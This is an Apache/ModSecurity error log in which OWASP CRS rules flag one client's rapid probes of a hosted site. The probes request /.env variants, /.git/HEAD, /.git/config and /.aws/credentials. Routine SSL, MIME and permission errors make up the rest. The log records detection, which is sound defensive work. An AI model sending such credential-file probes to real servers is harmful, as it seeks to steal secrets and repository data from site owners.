[Fri Jul 17 10:39:53.010041 2026] [security2:error] [pid 2076194:tid 2076194] [client 91.192.10.86:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/.git/HEAD"] [unique_id "alm5IZT6UchYzP7t8WhOUAAAABI"]
[Fri Jul 17 10:39:53.010311 2026] [security2:error] [pid 2076194:tid 2076194] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/.git/HEAD"] [unique_id "alm5IZT6UchYzP7t8WhOUAAAABI"]
[Fri Jul 17 10:39:53.010663 2026] [security2:error] [pid 2076194:tid 2076194] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/.git/HEAD"] [unique_id "alm5IZT6UchYzP7t8WhOUAAAABI"]
[Fri Jul 17 10:39:53.492313 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:51520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:54.081529 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:54.094521 2026] [security2:error] [pid 2075705:tid 2075705] [client 91.192.10.86:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/.env"] [unique_id "alm5IvVsLAz87UqRdDoZ0QAAAAA"]
[Fri Jul 17 10:39:54.094793 2026] [security2:error] [pid 2075705:tid 2075705] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/.env"] [unique_id "alm5IvVsLAz87UqRdDoZ0QAAAAA"]
[Fri Jul 17 10:39:54.095159 2026] [security2:error] [pid 2075705:tid 2075705] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/.env"] [unique_id "alm5IvVsLAz87UqRdDoZ0QAAAAA"]
[Fri Jul 17 10:39:54.554969 2026] [security2:error] [pid 2075723:tid 2075723] [client 91.192.10.86:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/.env.development"] [unique_id "alm5IkD0S6w5KyU992IQPQAAAAM"]
[Fri Jul 17 10:39:54.555207 2026] [security2:error] [pid 2075723:tid 2075723] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/.env.development"] [unique_id "alm5IkD0S6w5KyU992IQPQAAAAM"]
[Fri Jul 17 10:39:54.555552 2026] [security2:error] [pid 2075723:tid 2075723] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/.env.development"] [unique_id "alm5IkD0S6w5KyU992IQPQAAAAM"]
[Fri Jul 17 10:39:54.566793 2026] [security2:error] [pid 2081387:tid 2081387] [client 91.192.10.86:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/.env.production"] [unique_id "alm5IvrJf6iLdwVV9Zl8nQAAABc"]
[Fri Jul 17 10:39:54.567084 2026] [security2:error] [pid 2081387:tid 2081387] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/.env.production"] [unique_id "alm5IvrJf6iLdwVV9Zl8nQAAABc"]
[Fri Jul 17 10:39:54.567453 2026] [security2:error] [pid 2081387:tid 2081387] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/.env.production"] [unique_id "alm5IvrJf6iLdwVV9Zl8nQAAABc"]
[Fri Jul 17 10:39:54.598008 2026] [security2:error] [pid 2079960:tid 2079960] [client 91.192.10.86:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/backend/.env"] [unique_id "alm5Iko1HlSlE-PE8fXx_QAAAAQ"]
[Fri Jul 17 10:39:54.598253 2026] [security2:error] [pid 2079960:tid 2079960] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/backend/.env"] [unique_id "alm5Iko1HlSlE-PE8fXx_QAAAAQ"]
[Fri Jul 17 10:39:54.598566 2026] [security2:error] [pid 2079960:tid 2079960] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/backend/.env"] [unique_id "alm5Iko1HlSlE-PE8fXx_QAAAAQ"]
[Fri Jul 17 10:39:54.600267 2026] [security2:error] [pid 2075904:tid 2075904] [client 91.192.10.86:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/.aws/credentials"] [unique_id "alm5IjuaDdNRw9_WO140tgAAAAg"]
[Fri Jul 17 10:39:54.600516 2026] [security2:error] [pid 2075904:tid 2075904] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/.aws/credentials"] [unique_id "alm5IjuaDdNRw9_WO140tgAAAAg"]
[Fri Jul 17 10:39:54.600872 2026] [security2:error] [pid 2075904:tid 2075904] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/.aws/credentials"] [unique_id "alm5IjuaDdNRw9_WO140tgAAAAg"]
[Fri Jul 17 10:39:54.607466 2026] [security2:error] [pid 2075908:tid 2075908] [client 91.192.10.86:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/.env.local"] [unique_id "alm5Ikj_u9-aE9qeQW0fVgAAAAk"]
[Fri Jul 17 10:39:54.607772 2026] [security2:error] [pid 2075908:tid 2075908] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/.env.local"] [unique_id "alm5Ikj_u9-aE9qeQW0fVgAAAAk"]
[Fri Jul 17 10:39:54.608487 2026] [security2:error] [pid 2075908:tid 2075908] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/.env.local"] [unique_id "alm5Ikj_u9-aE9qeQW0fVgAAAAk"]
[Fri Jul 17 10:39:54.609448 2026] [security2:error] [pid 2075691:tid 2075691] [client 91.192.10.86:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/api/.env"] [unique_id "alm5Ip-MjlCH45ePojRMIgAAABE"]
[Fri Jul 17 10:39:54.609841 2026] [security2:error] [pid 2075691:tid 2075691] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/api/.env"] [unique_id "alm5Ip-MjlCH45ePojRMIgAAABE"]
[Fri Jul 17 10:39:54.610297 2026] [security2:error] [pid 2075691:tid 2075691] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/api/.env"] [unique_id "alm5Ip-MjlCH45ePojRMIgAAABE"]
[Fri Jul 17 10:39:54.620288 2026] [security2:error] [pid 2076231:tid 2076231] [client 91.192.10.86:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/.git/config"] [unique_id "alm5ImG27nIfbW_ExyiKZQAAABM"]
[Fri Jul 17 10:39:54.620521 2026] [security2:error] [pid 2076231:tid 2076231] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/.git/config"] [unique_id "alm5ImG27nIfbW_ExyiKZQAAABM"]
[Fri Jul 17 10:39:54.620863 2026] [security2:error] [pid 2076231:tid 2076231] [client 91.192.10.86:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/.git/config"] [unique_id "alm5ImG27nIfbW_ExyiKZQAAABM"]
[Fri Jul 17 10:39:54.963369 2026] [ssl:error] [pid 2081387:tid 2081387] (70014)End of file found: [client 66.85.158.91:51674] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:56.774562 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:57.166024 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:51728] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:57.227632 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:57.652748 2026] [ssl:error] [pid 2081373:tid 2081373] (70014)End of file found: [client 66.85.158.91:51764] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:57.877010 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:01.612479 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:01.872513 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:01.946773 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:03.258473 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:55860] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:03.456785 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:03.874872 2026] [security2:error] [pid 2081358:tid 2081358] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/asrgroup-global": Permission denied [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "alm5KpWREna-U6bV0tajYgAAABA"]
[Fri Jul 17 10:40:03.874924 2026] [security2:error] [pid 2081358:tid 2081358] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/asrgroup-ip": Permission denied [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "alm5KpWREna-U6bV0tajYgAAABA"]
[Fri Jul 17 10:40:03.889826 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:55872] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:04.064119 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:05.182810 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:05.673922 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:05.864947 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:07.344512 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:07.558584 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/block/vda/queue/scheduler"] [unique_id "alm5L_VsLAz87UqRdDoZ4wAAAAA"]
[Fri Jul 17 10:40:07.558619 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/block/vda/queue/scheduler"] [unique_id "alm5L_VsLAz87UqRdDoZ4wAAAAA"]
[Fri Jul 17 10:40:08.002149 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:09.583334 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:09.861273 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:56076] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:10.268811 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:10.925743 2026] [security2:error] [pid 2075780:tid 2075780] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5Mh0C3r-GF3RTNAbVvQAAAAY"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:40:10.925772 2026] [security2:error] [pid 2075780:tid 2075780] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5Mh0C3r-GF3RTNAbVvQAAAAY"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:40:11.616671 2026] [ssl:error] [pid 2081387:tid 2081387] (70014)End of file found: [client 66.85.158.91:50974] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:12.064116 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:51002] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:13.983174 2026] [security2:error] [pid 2076257:tid 2076257] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm5NSBQrJXNVyJFnL6_dwAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2137&page_105=3014
[Fri Jul 17 10:40:13.983209 2026] [security2:error] [pid 2076257:tid 2076257] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm5NSBQrJXNVyJFnL6_dwAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2137&page_105=3014
[Fri Jul 17 10:40:15.686769 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:51174] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:16.037669 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:51184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:17.699607 2026] [ssl:error] [pid 2080166:tid 2080166] (70014)End of file found: [client 66.85.158.91:51226] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:19.738201 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:19.963962 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:20.203179 2026] [ssl:error] [pid 2081387:tid 2081387] (70014)End of file found: [client 66.85.158.91:51292] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:20.213184 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:20.259518 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:20.318863 2026] [ssl:error] [pid 2081373:tid 2081373] (70014)End of file found: [client 66.85.158.91:51302] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:20.361595 2026] [security2:error] [pid 2075705:tid 2075705] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5PPVsLAz87UqRdDoZ7wAAAAA"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
